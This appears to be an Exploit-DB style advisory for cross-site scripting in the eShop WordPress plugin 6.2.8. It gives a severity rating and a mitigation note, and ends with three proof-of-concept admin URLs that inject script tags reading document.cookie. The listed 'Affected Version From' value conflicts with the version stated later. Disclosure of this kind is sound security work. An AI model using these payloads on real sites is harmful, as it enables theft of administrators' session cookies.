Cross-Site Scripting Vulnerabilities in eShop Plugin for WordPress

vendor:

eShop Plugin for WordPress

by:

5.5

CVSS

MEDIUM

Cross-Site Scripting (XSS)

CWE

Product Name: eShop Plugin for WordPress

Affected Version From: 6.2.2008

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: WordPress

Cross-Site Scripting Vulnerabilities in eShop Plugin for WordPress

The eShop plugin for WordPress is vulnerable to multiple cross-site scripting vulnerabilities due to inadequate input sanitization. An attacker can exploit these vulnerabilities to execute arbitrary script code in the browser of a victim user, potentially leading to the theft of authentication credentials and other malicious activities.

Mitigation:

To mitigate this vulnerability, it is recommended to update to the latest version of the eShop plugin for WordPress. Additionally, users should be cautious when visiting untrusted websites or clicking on suspicious links.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/49117/info

eShop plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

eShop 6.2.8 is vulnerable; other versions may also be affected.

http://www.example.com/wp-admin/admin.php?page=eshop-templates.php&eshoptemplate=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/wp-admin/admin.php?page=eshop-orders.php&view=1&action=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/wp-admin/admin.php?page=eshop-orders.php&viewemail=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E